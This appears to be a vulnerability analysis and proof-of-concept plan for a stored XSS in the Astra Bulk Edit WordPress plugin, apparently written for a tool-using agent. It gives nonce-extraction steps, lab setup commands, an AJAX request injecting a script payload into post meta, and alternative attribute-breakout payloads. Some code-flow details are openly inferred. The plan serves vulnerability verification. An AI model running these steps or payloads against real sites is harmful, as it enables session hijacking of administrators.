Vulnerability Analysis: CVE-2026-32431 - Astra Bulk Edit Stored XSS

1. Vulnerability Summary

The Astra Bulk Edit plugin (versions <= 1.2.10) contains a stored cross-site scripting (XSS) vulnerability. The issue stems from the plugin's failure to sanitize and escape Astra-specific meta settings when they are updated through the WordPress Bulk Edit or Quick Edit interfaces. Specifically, the Astra_Blk_Meta_Boxes_Bulk_Edit class defines several meta options with FILTER_DEFAULT (effectively no sanitization) and stores them directly in the database. When the Astra theme renders these meta values on the frontend (e.g., breadcrumb settings or header displays), it does so without sufficient output escaping, allowing an authenticated attacker with Contributor-level permissions to execute arbitrary JavaScript in the context of other users' sessions.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• AJAX Action: astra_save_post_bulk_edit
• Vulnerable Parameters: Any of the meta keys defined in setup_bulk_options(), such as ast-breadcrumbs-content, ast-main-header-display, or site-sidebar-layout.
• Authentication: Contributor or higher. Contributors can typically only bulk-edit their own posts, but the stored payload will execute for any user (including Administrators) viewing the affected post.
• Precondition: The Astra theme must be installed and active. The plugin explicitly exits if get_template() does not return 'astra'.

3. Code Flow

1. Entry Point: The AJAX action astra_save_post_bulk_edit is registered in the constructor of classes/class-astra-blk-meta-boxes-bulk-edit.php.
2. Nonce Verification: The handler save_post_bulk_edit() calls check_ajax_referer( 'astra-blk-nonce', 'astra_nonce' ).
3. Meta Definition: setup_bulk_options() defines a list of settings (e.g., ast-breadcrumbs-content) and assigns them 'sanitize' => 'FILTER_DEFAULT'.
4. Processing (inferred from save_meta_box logic): The handler iterates through the provided post IDs and the self::$meta_option array.
5. Insecure Sanitization: The code uses filter_input( INPUT_POST, $key, FILTER_DEFAULT ). Since FILTER_DEFAULT is used, the raw string (including <script> tags) is retrieved.
6. Storage: The unsanitized value is saved to the database using update_post_meta( $post_id, $key, $meta_value ).
7. Sink: When the post is rendered on the frontend, the Astra theme retrieves these meta values (e.g., to decide how to display breadcrumbs) and echoes them into the HTML source without esc_html() or esc_attr().

4. Nonce Acquisition Strategy

The nonce astra-blk-nonce is required for the AJAX request. It is localized for the bulk edit script used in the post list table.

1. Prerequisite: Create a post as the Contributor user first.
2. Navigate: Use browser_navigate to wp-admin/edit.php (the post list page).
3. Extraction: The plugin localizes the nonce into a global JavaScript object. Based on Astra plugin conventions, the script handle is astra-bulk-edit-js.
4. Execution: Use browser_eval to extract the nonce:

   window.astra_bulk_edit?.nonce
   

   If that is not found, search the page source for "nonce" within the astra_bulk_edit object.

5. Exploitation Strategy

Step 1: Create a Post

Use WP-CLI to create a post authored by the contributor.

wp post create --post_type=post --post_status=publish --post_title="XSS Test Post" --post_author=[CONTRIBUTOR_ID]

Step 2: Extract Nonce

Log in as the contributor and navigate to the post list.

• Tool: browser_navigate to http://[TARGET]/wp-admin/edit.php
• Tool: browser_eval("astra_bulk_edit.nonce") to get the nonce.

Step 3: Trigger AJAX Update

Send the malicious request to inject the XSS payload into a meta field.

• Endpoint: http://[TARGET]/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=astra_save_post_bulk_edit
  &astra_nonce=[EXTRACTED_NONCE]
  &post[]=[POST_ID]
  &ast-breadcrumbs-content=<script>alert(document.domain)</script>
  

Step 4: Trigger Execution

Navigate to the frontend view of the post.

• URL: http://[TARGET]/?p=[POST_ID]

6. Test Data Setup

1. Theme: Activate Astra Theme.
   wp theme install astra --activate
2. User: Create a Contributor user.
   wp user create attacker attacker@example.com --role=contributor --user_pass=password
3. Post: Create a post for the attacker.
   wp post create --post_type=post --post_title="Innocent Post" --post_author=attacker --post_status=publish
4. Identify Meta Key: Use ast-breadcrumbs-content as the primary injection target.

7. Expected Results

• The AJAX request should return a JSON success response (e.g., {"success":true}).
• The database should reflect the malicious value in the wp_postmeta table.
• Upon visiting the post, the browser should execute alert(document.domain).

8. Verification Steps

1. Database Check: Verify the meta value is stored raw.

   wp post meta get [POST_ID] ast-breadcrumbs-content
   

   Expected: <script>alert(document.domain)</script>
2. HTML Source Check: Use http_request to fetch the post page and grep for the payload.

   # Use the agent's http_request tool
   # Check if the payload appears unescaped in the response body
   

9. Alternative Approaches

If ast-breadcrumbs-content does not trigger on the frontend due to site settings, try other meta keys defined in setup_bulk_options():

• ast-main-header-display: Often used in class names or attributes. Payload: "><script>alert(1)</script>
• site-sidebar-layout: Often used in body classes.
• site-content-layout: Often used in wrapper div classes.

If the AJAX endpoint fails, attempt to exploit the save_meta_box hook directly via a standard post update (wp-admin/post.php) using the astra_settings_bulk_meta_box nonce, which is also insecurely handled in the save_meta_box( $post_id ) function.